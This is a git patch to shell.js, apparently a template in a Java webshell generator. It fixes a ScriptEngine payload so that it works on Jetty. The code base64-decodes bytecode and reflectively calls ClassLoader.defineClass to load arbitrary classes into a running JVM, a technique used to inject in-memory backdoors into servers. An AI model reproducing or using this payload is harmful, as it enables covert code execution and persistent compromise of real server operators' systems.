From 13cbbdb54f6c159be817f462fb9a596f4c72703f Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 9 Dec 2024 21:06:23 +0800 Subject: [PATCH] fix: jetty ScriptEngine not work --- generator/src/main/resources/shell.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/generator/src/main/resources/shell.js b/generator/src/main/resources/shell.js index c6673d6f..83bf9f9e 100644 --- a/generator/src/main/resources/shell.js +++ b/generator/src/main/resources/shell.js @@ -16,7 +16,7 @@ try { bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str); } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); - var clsByteArray = classLoader.loadClass('[B'); + var clsByteArray = Java.type('byte[]').class; var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt); defineClass.setAccessible(true);